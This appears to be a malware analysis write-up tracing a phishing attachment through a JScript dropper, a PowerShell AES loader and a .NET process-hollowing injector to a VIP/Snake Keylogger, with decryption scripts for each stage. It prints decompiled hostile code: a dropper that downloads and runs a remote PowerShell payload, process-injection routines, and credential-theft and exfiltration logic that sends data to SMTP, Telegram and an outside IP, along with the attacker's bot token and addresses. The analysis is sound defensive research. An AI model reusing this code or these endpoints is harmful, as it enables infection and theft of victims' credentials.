Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

YÊU CẦU BÁO GIÁ DỰ ÁN

On April 14 2026, 17:16 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
Mr. Phan Hoang Tien <it@seatoursthai.com>YÊU CẦU BÁO GIÁ DỰ ÁNit@seatoursthai.com103.246.189.75

The subject is in Vietnamese and translates to “PROJECT QUOTATION REQUEST”. The sender domain belongs to the “SEA TOURS Thailand” travel agency and the SPF, DMARC, and DKIM authentication checks all passed. The sender IP also matches the A record of the domain which was registered 28 years ago. This is consistent with compromise of the sender address or abuse of the associated mail infrastructure.

It’s worth noting that the “Reply-To” header is set to the address “Mr. Phan Hoang Tien <sales@manasvihitech.com>”. This domain belongs to “Manasvi Hi Tech Industries”, a tungsten carbide parts supplier based in India. Additionally, the email signature references the email “info@thangtien.vn” and the associated website, which belongs to “Thang Tien Engineering JSC”, a construction contractor based in Vietnam.

The email contains the following attachment:

NameTypeMagicSHA256
260917-Quotation.rarRARRAR archive data, v56389acfbd4cd9603caa87d88b1bc0dbec64facdc073e77ce6cfb9acbe23e079b

Analysis

JScript Dropper

Extracting the archive yields the file “260917-Quotation.js”, which is obfuscated via “Obfuscator.io” and I deobfuscated (twice) using webcrack.

The code is wrapped in an IIFE (Immediately Invoked Function Expression) block that begins with a 'use strict' instruction to invoke strict mode. However, this has no effect in JScript so it may have been generated by a transpiler or bundler.

Next, the following variables are defined, which set the dropper configuration and initialise the COM objects necessary for filesystem, shell, and HTTP operations:

var _0x3a96d5 = {
  address: "https://aksiyononline.best/mrmasabikfrnd/secured_stub.ps1"
};
_0x3a96d5.directory = "C:\\Temp\\";
_0x3a96d5.maxAttempts = 2;
var _0x3efe00 = _0x3a96d5;
var _0x3f7f65 = new ActiveXObject("Scripting.FileSystemObject");
var _0x37a4fc = new ActiveXObject("WScript.Shell");
var _0x44bfe3 = new ActiveXObject("MSXML2.XMLHTTP");

Additionally, the following helper functions are defined:

  • _0x2683e7: Creates a folder if it doesn’t exist.
  • _0x1b1ee2: Generates a pseudorandom filename with extension “.ps1”.
  • _0x30c377: Creates a text file and writes content to it.
  • _0x5f0031: Sends a “GET” request to a URL and returns the response text.
  • _0x4f3880: Calls _0x1b1ee2 and _0x30c377 and executes the created file through PowerShell.

The orchestrator function _0x5d0baa wraps the aforementioned functions and calls them in order.

  1. It ensures that the configured directory exists.
  2. It fetches the payload from the address with up to maxAttempts + 1 retries.
  3. It writes the payload to a file created under the directory and executes it.

Finally, the object _0x4833fe contains the entry point and configuration-related functions.

  • run is a direct reference to the orchestrator and is invoked below.
  • config is a proxy for the configuration object _0x3efe00.
  • reset restores the configuration object to the original hardcoded values.

Although only the run function is called directly in this case, the ScriptAPI property is set to the aforementioned object and exposes it to the global namespace, so this module could be used as a component in another script.

var _0x4833fe = {
  run: _0x5d0baa,
  config: function (_0x4a4f3d, _0x150885) {
    if (_0x150885 !== undefined) {
      _0x3efe00[_0x4a4f3d] = _0x150885;
      return this;
    }
    return _0x3efe00[_0x4a4f3d];
  },
  reset: function () {
    var _0x26b02f = {
      address: "https://aksiyononline.best/mrmasabikfrnd/secured_stub.ps1",
      directory: "C:\\Temp\\",
      maxAttempts: 2
    };
    _0x3efe00 = _0x26b02f;
    return this;
  }
};
_0x4833fe.run();
this.ScriptAPI = _0x4833fe;

PowerShell Loader

The downloaded payload implements a self-styled “PowerShell Modular AES Pipeline Loader”.

It defines a $ResourceMap variable which contains a base64-encoded payload, key, and vector.

#==================================================
# PowerShell Modular AES Pipeline Loader
#==================================================

# --- Embedded cryptographic resources ---
$ResourceMap = [ordered]@{
    'Payload' = @'
...
'@
    'Key'     = @'
EZ6RFmXccZqxF/DphiW/nNhidfeShBqyR3P20eNy1HI=
'@
    'Vector'  = @'
RB4SQyTrEChfY6DVNEfShA==
'@
}

Next, it defines the following pipeline stage helper functions:

  • Step-Sanitize: Strips all whitespace from the input.
  • Step-Decode: Ensures a base64-encoded payload is properly padded and decodes it.
  • Step-Decrypt: Decrypts a ciphertext using AES in CBC mode with PKCS7 padding.
  • Step-Invoke: Creates a ScriptBlock object from the payload and invokes it.

While I omitted the other helper functions for brevity, I’m including the code of Step-Invoke since it’s a rare deviation from the usual Invoke-Expression pattern.

# --- Pipeline stage: invoke ---
function Step-Invoke {
    [CmdletBinding()]
    param([string]$Code)

    if ([string]::IsNullOrWhiteSpace($Code)) { return $false }

    $block = [ScriptBlock]::Create($Code)
    $null = & $block
    return $true
}

Next, the script sanitises and decodes the base64-encoded data in the $ResourceMap, decrypts the ciphertext, and invokes the decrypted payload, while logging any errors.

# --- Orchestrator ---
$result = [ordered]@{
    Sanitized = $null
    Decoded   = $null
    Plaintext = $null
    Executed  = $false
    Errors    = @()
}

foreach ($name in $ResourceMap.Keys) {
    $stage = 'Sanitize'
    try {
        $clean = Step-Sanitize -Raw $ResourceMap[$name]
        if (-not $clean) { throw "Empty resource: $name" }

        $stage = 'Decode'
        $bytes = Step-Decode -Compact $clean
        if (-not $bytes) { throw "Decode failed: $name" }

        $result[$name] = $bytes
    }
    catch {
        $result.Errors += "[$stage/$name] $($_.Exception.Message)"
    }
}

if ($result.Errors.Count -eq 0) {
    try {
        $result.Plaintext = Step-Decrypt -Cipher $result['Payload'] -Key $result['Key'] -Vector $result['Vector']
        $result.Executed  = Step-Invoke -Code $result.Plaintext
    }
    catch {
        $result.Errors += "[Decrypt/Invoke] $($_.Exception.Message)"
    }
}

Finally, it explicitly clears the $ResourceMap and forces garbage collection to remove its data from memory. However, this seems to be purely cosmetic as it does not clear the plaintext and the process is already about to exit, which would clear the memory anyway.

Additionally, if any errors were encountered, the script writes the error messages to the console (if verbose logging is enabled) and exits the process with status 1.

# --- Teardown ---
$ResourceMap.Clear()
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()

if ($result.Errors.Count -gt 0) {
    foreach ($e in $result.Errors) { Write-Verbose $e }
    exit 1
}

Embedded Payload

The decoding and decryption process can be performed using the following CyberChef recipe:

Register('\'Key\'\\s+= @\'\\r\\n([A-Za-z0-9+/=]+)\\r\\n\'@',false,false,false)
Register('\'Vector\'\\s+= @\'\\r\\n([A-Za-z0-9+/=]+)\\r\\n\'@',false,false,false)
Regular_expression('User defined','\'Payload\'\\s+= @\'\\r\\n([A-Za-z0-9+/=\\r\\n]+)\\r\\n\'@',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)
AES_Decrypt({'option':'Base64','string':'$R0'},{'option':'Base64','string':'$R1'},16,'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''},'Off')

The decrypted payload defines the following functions with associated comments:

FunctionComment
Reveal-CloakedDataXOR Decryption Function - Alternative Implementation v19
Deploy-AssemblyPayloadAssembly Invocation Handler - Alternative Implementation v19
Sense-ProcessVoidProcess Existence Check - Alternative Implementation v19
Operate-BeaconMain Orchestrator Controller - Alternative Implementation v19

It’s worth noting that all of the functions are marked as “Alternative Implementation v19”.

The orchestrator function defines the XOR encryption key with the value “THeDevil56@@^”, decodes and decrypts a .NET assembly and invokes the “LAUNCH” function of the “GHOST.EXECUTE” type, passing it (as usual) the path of the “aspnet_compiler” executable and a byte array containing the next-stage payload.

# Vault secret
$vaultSecret = "THeDevil56@@^"
# Cast into payload image
$payloadImage = [System.Convert]::FromBase64String($revealedData)

# Anchor host executable
$hostExecutable = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'

# Bundle deployment args
$deploymentArgs = @($hostExecutable, $payloadBytes)

# Deploy assembly
$deployOutcome = Deploy-AssemblyPayload -PayloadImage $payloadImage `
                                        -TypeLocator 'GHOST.EXECUTE' `
                                        -EntrySelector 'LAUNCH' `
                                        -DeploymentArgs $deploymentArgs

# Hold payload
[Byte[]]$payloadBytes = (<# ... #>)

.NET Process Injector

The assembly bytes can be decoded and decrypted with the following recipe:

Register('\\$vaultSecret = "(.+)"',false,false,false)
Regular_expression('User defined','\\$cloakedData = \'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)
XOR({'option':'UTF8','string':'$R0'},'Standard',false)
From_Base64('A-Za-z0-9+/=',false,false)

The result is a 32-bit .NET DLL with the following metadata:

  • File Description: GHOSTT
  • File Version: 1.0.0.0
  • Internal Name: GHOSTT.dll
  • Legal Copyright: Copyright © 2026
  • Original File Name: GHOSTT.dll
  • Product Name: GHOSTT
  • Product Version: 1.0.0.0
  • Assembly Version: 1.0.0.0

According to Detect-It-Easy, the assembly is obfuscated by “Confuser” so I used de4dotEx to deobfuscate it before decompiling it with ILSpy.

The aforementioned “LAUNCH” function takes the targetPath (the “aspnet_compiler” path) and shellcode (the injected payload) and performs a classic process hollowing routine.

public static void LAUNCH(string targetPath, byte[] shellcode) {
    for (int i = 0; i < 5; i++) {
        Struct7 struct7_ = default(Struct7);
        Struct6 struct6_ = default(Struct6);
        struct7_.uint_0 = (uint)smethod_12(smethod_11(typeof(Struct7).TypeHandle));
        try {
            smethod_8(targetPath, shellcode, ref struct7_, ref struct6_);
            break;
        } catch {
            if (struct6_.uint_0 != 0) {
                try {
                    smethod_14(smethod_13((int)struct6_.uint_0));
                } catch { }
            }
            if (i == 4) { throw; }
        }
    }
}

The relevant strings are not hardcoded but are instead decrypted at runtime using module-level functions.

String Decryption

The module constructor initialises an array of 80 unsigned 32-bit integers and generates a 16-element state array using a sequence of XOR and bit-shift operations, starting from the seed “2990788445”. It then processes each block of 16 integers from the first array, XORs each value with the corresponding state element, converts the resulting integers into 4 little-endian bytes each, and updates the state by XORing it with the resulting values, so each block after the first is decrypted with the previous encrypted block. Finally, it passes the buffer to smethod_1 and stores the final result in byte_0.

static <Module>() {
    smethod_7();
    uint num = 80u;
    uint[] array = new uint[80] { /* ... */ };
    uint[] array2 = new uint[16];
    uint num2 = 2990788445u;
    for (int i = 0; i < 16; i++) {
        num2 ^= num2 >> 12;
        num2 ^= num2 << 25;
        num2 ^= num2 >> 27;
        array2[i] = num2;
    }
    int j = 0;
    int num3 = 0;
    uint[] array3 = new uint[16];
    byte[] array4 = new byte[num * 4];
    for (; j < num; j += 16) {
        for (int k = 0; k < 16; k++) {
            array3[k] = array[j + k];
        }
        array3[0] = array3[0] ^ array2[0];
        // ...
        array3[15] = array3[15] ^ array2[15];
        for (int l = 0; l < 16; l++)
        {
            uint num4 = array3[l];
            array4[num3++] = (byte)num4;
            array4[num3++] = (byte)(num4 >> 8);
            array4[num3++] = (byte)(num4 >> 16);
            array4[num3++] = (byte)(num4 >> 24);
            array2[l] ^= num4;
        }
    }
    byte_0 = smethod_1(array4);
    MethodInfo method = typeof(Environment).GetMethod(smethod_3<string>(1695003968), new Type[1] { typeof(string) });
    if ((object)method != null && smethod_6<string>(-735860845).Equals(method.Invoke(null, new object[1] { smethod_6<string>(-1115443939) })))
    {
        Environment.FailFast(null);
    }
    Thread thread = new Thread(smethod_0);
    thread.IsBackground = true;
    thread.Start(null);
}
import numpy as np

def xorshift(array, key, shifts):
    temp = np.empty(16, "<u4")
    for i in range(16):
        key ^= key >> shifts[0]
        key ^= key << shifts[1]
        key ^= key >> shifts[2]
        temp[i] = key
    out = array ^ np.concatenate([temp, array[:-16]])
    return out.tobytes()

module_array = np.array([ ... ], "<u4")
module_data = xorshift(module_array, np.uint32(2990788445), np.array([12, 25, 27], "<u4"))

The resulting buffer begins with the byte sequence 5d 00 00 80 00 which corresponds to LZMA-compressed data1. However, attempting to decompress the data as is results in an error. This is because the LZMA format defines 8 bytes at offset 5 as the size of the uncompressed data2, while the custom decompression implemented by smethod_1 only uses 4 bytes.

internal static byte[] smethod_1(byte[] data) {
    MemoryStream memoryStream = new MemoryStream(data);
    Class1 @class = new Class1();
    byte[] array = new byte[5];
    for (int i = 0; i < 5; i += memoryStream.Read(array, i, 5 - i)) { }
    @class.method_5(array);
    for (int i = 0; i < 4; i += memoryStream.Read(array, i, 4 - i)) { }
    if (!BitConverter.IsLittleEndian) {
        Array.Reverse((Array)array, 0, 4);
    }
    int num = BitConverter.ToInt32(array, 0);
    byte[] array2 = new byte[num];
    MemoryStream outStream = new MemoryStream(array2, writable: true);
    long inSize = memoryStream.Length - 5L - 4L;
    @class.method_4(memoryStream, outStream, inSize, num);
    return array2;
}

Adding a padding of 4 null bytes at offset 5 fixes this discrepancy.

from lzma import LZMADecompressor

def decompress(data):
    return LZMADecompressor().decompress(data[:9] + bytes(4) + data[9:])

module_data = decompress(module_data)

The functions smethod_2 up to smethod_6 read strings from the byte_0 array at certain offsets. They are generic functions with a type parameter and branching based on the 2 most significant bits of the transformed integer. However, they are only ever called with a string type and the bits always match the corresponding string decoding case. Each function multiplies the provided integer with a certain hardcoded value and XORs it with another value, before applying the bitmask 0x3FFFFFFF to drop the 2 most significant bits used for branching, and left-shifting by 2 to turn the 30-bit index into a byte offset.

internal static T smethod_3<T>(int id) {
    if (!Assembly.GetExecutingAssembly().Equals(Assembly.GetCallingAssembly())) {
        return default(T);
    }
    id = (id * -763577725) ^ -677232704;
    int num = (int)((uint)id >> 30);
    id = (id & 0x3FFFFFFF) << 2;
    switch (num) {
      case 1: {
          int count = byte_0[id] | (byte_0[id + 1] << 8) | (byte_0[id + 2] << 16) | (byte_0[id + 3] << 24);
          return (T)(object)string.Intern(Encoding.UTF8.GetString(byte_0, id + 4, count));
      }
      // ...
    }
}

The following Python code resolves all encrypted string values, listed in the table below:

def read_string(mul, xor, num):
    num = (((num * mul) ^ xor) & 0x3FFFFFFF) << 2
    size = int.from_bytes(module_data[num:num + 4], "little")
    return module_data[num + 4:num + 4 + size].decode()

for num in [-1713440337, -2090634986, -433745414, -949786259, 52216272]:
    print("smethod_2", f"{num:>11}", read_string(-42537643, -1915098506, num))
for num in [-116996593, -1311105113, -14647844, -2035145440, 1069512863, 1073312400, 1695003968]:
    print("smethod_3", f"{num:>11}", read_string(-763577725, -677232704, num))
for num in [-1065018019, -1487339837, -1849355871, -548423081, 1529309338, 2140177396, 431999234, 447075680, 511195908]:
    print("smethod_4", f"{num:>11}", read_string(-695608005, 2110524768, num))
for num in [-1813298905, 1355499157]:
    print("smethod_5", f"{num:>11}", read_string(1898802157, -270426506, num))
for num in [-1115443939, -1194773832, -1656426911, -655160906, -735860845, -78317904, -834490799, 561295022, 922948101]:
    print("smethod_6", f"{num:>11}", read_string(2040409101, -1906915728, num))
FunctionInteger IDString Value
smethod_2-1713440337kernel32
smethod_2-2090634986Failed to allocate memory
smethod_2-433745414Wow64SetThreadContext
smethod_2-949786259Failed to write section
smethod_252216272Failed to resume thread
smethod_3-116996593kernel32
smethod_3-1311105123ReadProcessMemory
smethod_3-14647844Failed to set thread context
smethod_3-2035145440ZwUnmapViewOfSection
smethod_31069512863ntdll
smethod_31073312400ResumeThread
smethod_31695003968GetEnvironmentVariable
smethod_4-1065018019Failed to create process
smethod_4-1487339837WriteProcessMemory
smethod_4-1849355871SetThreadContext
smethod_4-548423081kernel32
smethod_41529309338Failed to get wow64 thread context
smethod_42140177396Failed to set wow64 thread context
smethod_4431999234Failed to get thread context
smethod_4447075680Failed to write headers
smethod_4511195908VirtualAllocEx
smethod_5-1813298905kernel32
smethod_51355499157GetThreadContext
smethod_6-1115443939COR_ENABLE_PROFILING
smethod_6-1294773832Failed to read process memory
smethod_6-1656426911ntdll
smethod_6-655160906Failed to update PEB
smethod_6-7358608451
smethod_6-78317904Wow64GetThreadContext
smethod_6-834490799kernel32
smethod_6561295022CreateProcessA
smethod_6922948101Failed to unmap section

Decrypting the strings reveals that the module constructor invokes the “GetEnvironmentVariable” function (ID 1695003968) to check if the “COR_ENABLE_PROFILING” environment variable (ID -1115443939) is set to the value “1” (ID -735860845) which indicates a profiling environment3 and exits the program if so. The smethod_0 function which is called in a new thread also exits if it detects a debugger.

The smethod_7 function that is called at the top of the module constructor contains a similarly encrypted and compressed array.

internal static void smethod_7() {
    uint num = 112u;
    uint[] array = new uint[112] { /* ... */ };
    uint[] array2 = new uint[16];
    uint num2 = 1105494774u;
    for (int i = 0; i < 16; i++) {
        num2 ^= num2 >> 13;
        num2 ^= num2 << 25;
        num2 ^= num2 >> 27;
        array2[i] = num2;
    }
    // ...
    assembly_0 = Assembly.Load(smethod_1(array4));
    AppDomain.CurrentDomain.AssemblyResolve += smethod_8;
}
smethod_7_array = np.array([ ... ], "<u4")
smethod_7_data = xorshift(smethod_7_array, np.uint32(1105494774), np.array([13, 25, 27], "<u4"))
smethod_7_data = decompress(smethod_7_data)

The resulting payload is a .NET DLL with assembly name “XVvcwLfHxmqfEaBliQfXcVpSgLMab” and SHA256 hash “2b9a41065a0c1f4043a08d2354863722e400e4ef504f5eb2c6ac430ea3ff442d”. The function loads it and registers an AssemblyResolve handler4 that returns it when the CLR asks for its full name. However, this particular DLL does not declare any types and is never referenced.

internal static Assembly smethod_8(object sender, ResolveEventArgs args) {
    if (!(assembly_0.FullName == args.Name)) {
        return null;
    }
    return assembly_0;
}

VIP Keylogger

Finally, I extracted the injected payload using the following CyberChef recipe:

Regular_expression('User defined','\\$payloadBytes = \\(([0-9,]+)\\)',false,false,false,false,false,false,'List capture groups')
From_Decimal('Comma',false)

This results in a 32-bit .NET executable with the following metadata:

  • File Description: Remington
  • File Version: 1.0.0.0
  • Internal Name: Remington.exe
  • Legal Copyright: Copyright © 2021
  • Original File Name: Remington.exe
  • Product Name: Remington
  • Product Version: 1.0.0.0
  • Assembly Version: 1.0.0.0

The strings contain multiple instances of “VIP Recovery” indicating that the sample belongs to the Snake Keylogger / VIP Keylogger family.

The “Remington.COVID19” class holds the malware configuration and the entry point function “Main”. The malware supports multiple data exfiltration methods (SMTP, FTP, HTTP, Telegram bot, and Discord webhook) and this sample uses both SMTP and Telegram.

The “multi” configuration property contains 3 dynamic DNS URLs with port “8081” which may be default HTTP exfiltration endpoints, although it is not referenced elsewhere in the code.

multi = "http://varders.kozow.com:8081,http://aborters.duckdns.org:8081,http://anotherarmy.dns.army:8081";

The “hyugtfredse” property is set to the value “$$HASH##” (likely a placeholder) which is used as a request parameter.

hyugtfredse = "$$HASH##";

The “TheInfo” property stores extended system information including a stub version set to “4.4”. Similarly, the “ClickINFO” property stores basic system information.

TheInfo = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(" \r\n\r\nPC Name:" + Environment.MachineName, Operators.AddObject("\r\nDate and Time: ", TimeandDateInfo())), Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nClient IP: ", IPLogger()), "\r\n"), "Country Name: "), TheCountryNameInfo()), "\r\n"), "CountryCode: "), CountryCode()), "\r\n"), "Region Name: "), TheRegionName()), "\r\n"), "Region Code: "), TheRegionCode()), "\r\n"), "City: "), TheCity()), "\r\n"), "TimeZone: "), TheTimeZone()), "\r\n"), "Latitude: "), TheLatude()), "\r\n"), "Longitude: "), TheLongtude()), "\r\n"), "Stub Version: "), "4.4"), "\r\n")));
ClickINFO = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(" \r\n\r\nPC Name:" + Environment.MachineName, Operators.AddObject("\r\nDate and Time: ", TimeandDateInfo())), Operators.AddObject(Operators.AddObject("\r\nCountry Name: ", TheCountryNameInfo()), "\r\n")));

The “PASSWORD” property is set to “ZyiAEnXWZP” followed by a pseudorandom integer and is added to filenames in the FTP method.

PASSWORD = "ZyiAEnXWZP" + new Random().Next();

The “Prision” property contains a key which is transformed and used to decrypt the exfiltration endpoint configuration using the DES_Decrypt function.

Prision = "BsrOkyiChvpfhAkipZAxnnChkMGkLnAiZhGMyrnJfULiDGkfTkrTELinhfkLkJrkDExMvkEUCxUkUGr";
// ...
TheSMTPEmail = DES_Decrypt("VlHksKXE65FZmGmZ3YvUa/LySTX/VLn1loERoRF3ES4=", Prision);
TheSMTPPSWD = DES_Decrypt(/* ... */, Prision);
TheSMTPServer = DES_Decrypt("AvnrwjLkkRgZGkQUmJR7Q6c1rIrsJxc5w7xUzGwhmFg=", Prision);
TheSMTPReciver = DES_Decrypt("nCs4V4r10kVlDRf6bmOnwqqk/0KACKSQLq6u+CjKY44=", Prision);
TheSMTPPort = DES_Decrypt("oXrxxBiV5W8=", Prision);
// ...
TheTelegramToken = DES_Decrypt("QnoGQYwDXgpH8ie5IZnJz16B92dHDXTkSXWuiQpaPabEB/i2gCo+1qfK2l/lj54S", Prision);
TheTelegramID = DES_Decrypt("gtU5zul6Snk4aWIJHkSiXQ==", Prision);
TheTelegramTokenToClicker = DES_Decrypt("Yx74dJ0TP3M=", Prision);
TheTelegramIDToClicker = DES_Decrypt("Yx74dJ0TP3M=", Prision);

The decryption uses DES in ECB mode with the first 8 characters of the MD5 hash of “Prision” as the key.

public static string DES_Decrypt(string input, string pass) {
    string result = default(string);
    try {
        DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
        MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
        string text = "";
        byte[] array = new byte[8];
        byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass));
        Array.Copy(sourceArray, 0, array, 0, 8);
        dESCryptoServiceProvider.Key = array;
        dESCryptoServiceProvider.Mode = CipherMode.ECB;
        ICryptoTransform cryptoTransform = dESCryptoServiceProvider.CreateDecryptor();
        byte[] array2 = Convert.FromBase64String(input);
        text = Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
        result = text;
        return result;
    } catch (Exception ex) {
        ProjectData.SetProjectError(ex);
        Exception ex2 = ex;
        ProjectData.ClearProjectError();
    }
    return result;
}

The following Python code can be used to decrypt the configuration:

from base64 import b64decode
from hashlib import md5
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad

def DES_Decrypt(input_, pass_):
    key = md5(pass_).digest()[:8]
    cipher = DES.new(key, DES.MODE_ECB)
    decrypted = cipher.decrypt(b64decode(input_))
    return unpad(decrypted, DES.block_size).decode()

Prision = b"BsrOkyiChvpfhAkipZAxnnChkMGkLnAiZhGMyrnJfULiDGkfTkrTELinhfkLkJrkDExMvkEUCxUkUGr"
config = {
    "TheSMTPEmail": DES_Decrypt("VlHksKXE65FZmGmZ3YvUa/LySTX/VLn1loERoRF3ES4=", Prision),
    "TheSMTPPSWD": DES_Decrypt(..., Prision),
    "TheSMTPServer": DES_Decrypt("AvnrwjLkkRgZGkQUmJR7Q6c1rIrsJxc5w7xUzGwhmFg=", Prision),
    "TheSMTPReciver": DES_Decrypt("nCs4V4r10kVlDRf6bmOnwqqk/0KACKSQLq6u+CjKY44=", Prision),
    "TheSMTPPort": DES_Decrypt("oXrxxBiV5W8=", Prision),
    "TheTelegramToken": DES_Decrypt("QnoGQYwDXgpH8ie5IZnJz16B92dHDXTkSXWuiQpaPabEB/i2gCo+1qfK2l/lj54S", Prision),
    "TheTelegramID": DES_Decrypt("gtU5zul6Snk4aWIJHkSiXQ==", Prision),
    "TheTelegramTokenToClicker": DES_Decrypt("Yx74dJ0TP3M=", Prision),
    "TheTelegramIDToClicker": DES_Decrypt("Yx74dJ0TP3M=", Prision),
}
for key, val in config.items():
    print(key, val, sep=": ")
  • The email address “reports9@leedelectronics.top” is both the sender and recipient.
  • The Telegram configuration has been identified by Symantec in a previous Snake Keylogger campaign5.
  • The properties “TheTelegramTokenToClicker” and “TheTelegramTokenToClicker” have empty values.
PropertyValue
TheSMTPEmailreports9@leedelectronics.top
TheSMTPPSWDomitted
TheSMTPServerhosting2.ro.hostsailor.com
TheSMTPReciverreport9@leedelectronics.top
TheSMTPPort587
TheTelegramToken8099843793:AAGeYKMLti1IpyT9o6bz7OtgdXF9md25uXA
TheTelegramID6337180137
TheTelegramTokenToClicker
TheTelegramIDToClicker

The main entry point begins by calling the ClickTracker function followed by multiple empty functions. Then, it collects credentials, cookies, credit card details, autofill data, downloads information, and top sites from multiple Chromium-based and Firefox-based browsers, as well as credentials from email clients (Outlook, Thunderbird, Foxmail, and PostBox) and chat clients (Discord and Pidgin), and server configuration from FileZilla. Finally, it calls the AntiBotStart function followed by NormalStart (which is empty) and starts the application.

public static void Main() {
    ClickTracker();
    // ...
    AntiBotStart();
    NormalStart();
    Application.Run();
}

The ClickTracker function sends a message to Telegram informing the operator about the malware’s execution.

public static void ClickTracker() {
    TelegramMSG(TheTelegramTokenToClicker, TheTelegramIDToClicker, ClickINFO + "[ " + Environment.MachineName + " Clicked on the File If you see nothing this's mean the system storage's empty. ]");
}

However, as the relevant properties have empty values, the constructed URL is invalid.

public static void TelegramMSG(string tokennns, string urrid, string msg) {
    try {
        string requestUriString = "https://api.telegram.org/bot" + tokennns + "/sendMessage?chat_id=" + urrid + "&text=" + msg;
        // ...
    } catch (Exception ex3) {
        // ...
    }
}

The AntiBotStart function checks whether the system information contains one of several IP addresses or the name “WALKER” (used by the VirusTotal sandbox) and prevents further execution.

    if (Operators.CompareString(AntiBotStatus, "EnabledAntiBot", TextCompare: false) == 0) {
        if (TheInfo.Contains("89.208.29.130") | TheInfo.Contains("69.55.5.249") | TheInfo.Contains("141.226.236.91") | TheInfo.Contains("69.55.5.249") | TheInfo.Contains("3.23.155.57") | TheInfo.Contains("WALKER")) {
            OutputAntiBot = "BotDetected";
        } else {
            OutputAntiBot = "$BotClean$";
        }
    } else {
        OutputAntiBot = "$BotClean$";
    }

The host’s IP address is requested from the “checkip.dyndns.org” domain with user agent “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)” and geolocation information is requested from “reallyfreegeoip.org” using this IP address.

public static object IPLogger() {
    WebClient webClient = new WebClient();
    webClient.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)");
    string address = "http://checkip.dyndns.org/";
    // ...
}
    XmlDocument xmlDocument = new XmlDocument()
    object obj = Operators.ConcatenateObject("https://reallyfreegeoip.org/xml/", IPLogger());

The SMTP method can exfiltrate the collected data either as the email body or as an attachment. The subject is the same in both cases and contains the username and “VIP Recovery”.

    if (Operators.CompareString(isSMTP, "True", TextCompare: false) == 0) {
        if (Operators.CompareString(Text_VenQJDFjPqkSr, "$CheckTextEnabled$", TextCompare: false) == 0) {
            try {
                // ...
                MailMessage mailMessage = new MailMessage();
                mailMessage.From = new MailAddress(TheSMTPEmail);
                mailMessage.To.Add(TheSMTPReciver);
                mailMessage.Subject = " Pc Name: " + Environment.UserName + " | / VIP Recovery \\";
                // ...
            } catch (Exception ex3) {
              // ...
            }
        }
        if (Operators.CompareString(File_VenQJDFjPqkSr, "$CheckFileEnabled$", TextCompare: false) == 0) {
          // ...
        }
    }

The Telegram method has an additional condition that, instead of uploading the data to Telegram, sends it in a POST request to the URL “http://51.38.247.67:8081/_send_.php?L”. It’s possible that this endpoint then forwards the data to Telegram and is used to avoid the Telegram request from being flagged or blocked. The condition is not met by this sample which simply uploads the data to Telegram directly. Aside from the previously decrypted bot token and chat ID, the other URL parts, as well as the mime type, are decrypted through the wrapper functions KC, KX, and KD.

    if (Operators.CompareString(isTelegram, "True", TextCompare: false) == 0) {
        string text = "PW | " + Environment.UserName + " | VIP Recovery\r\n" + TheInfo + "\r\n" + StoragePW + "\r\n\r\n\r\n\r\n\r\n--------------------------------------------------";
        if (Operators.CompareString(Telegram_Side, "%Server%", TextCompare: false) == 0) {
            // ...
            string s = "c=" + hyugtfredse + "&myFile=" + text2;
            WebRequest webRequest = WebRequest.Create("http://51.38.247.67:8081/_send_.php?L");
            webRequest.Method = "POST";
            // ...
        } else {
            try {
                // ...
                string url = string.Concat(KC("nnrCOnrJyiwsACMwnkEJB"), TheTelegramToken, KX("JyxTBTUpBksniyThhJvAC"), TheTelegramID, "&caption=", " Pc Name: " + Environment.UserName + " | / VIP Recovery \\\r\n\r\nPW | " + Environment.UserName + " | VIP Recovery\r\n\r\n\r\n");
                ClpUploader("PW_Recovered" + LogFileExtension, KD("QEknLJAwBvLDvEBGMDiAZ"), url, text);
                return;
            } catch (Exception ex7) {
                // ...
            }
        }
    }
public static string KX(string @int) {
    return DES_Decrypt("vXLTtNPZK+Dfb+Yg9FV+EW1xYmFoLa7V", @int);
}

public static string KC(string @int) {
    return DES_Decrypt("zMaRPCbE0Gb4k/zB6ZNS3r1L34TENqMZD9RW6hkhoOE=", @int);
}

public static string KD(string @int) {
    return DES_Decrypt("9uzQZ8M9esiGktQ2p1awgW2VefNvdHItyTIJRslztZk=", @int);
}

These can be decrypted in the same way as before.

wrappers = {
    "KC": ["zMaRPCbE0Gb4k/zB6ZNS3r1L34TENqMZD9RW6hkhoOE=", b"nnrCOnrJyiwsACMwnkEJB"],
    "KX": ["vXLTtNPZK+Dfb+Yg9FV+EW1xYmFoLa7V", b"JyxTBTUpBksniyThhJvAC"],
    "KD": ["9uzQZ8M9esiGktQ2p1awgW2VefNvdHItyTIJRslztZk=", b"QEknLJAwBvLDvEBGMDiAZ"],
}
for key, vals in wrappers.items():
    print(key, DES_Decrypt(*vals), sep=": ")
  • KC: https://api.telegram.org/bot
  • KX: /sendDocument?chat_id=
  • KD: application/x-ms-dos-executable

It’s worth noting that the code also includes unused functions for collecting running processes, email contacts, and clipboard data, as well as keylogging and taking screenshots.

Indicators of Compromise

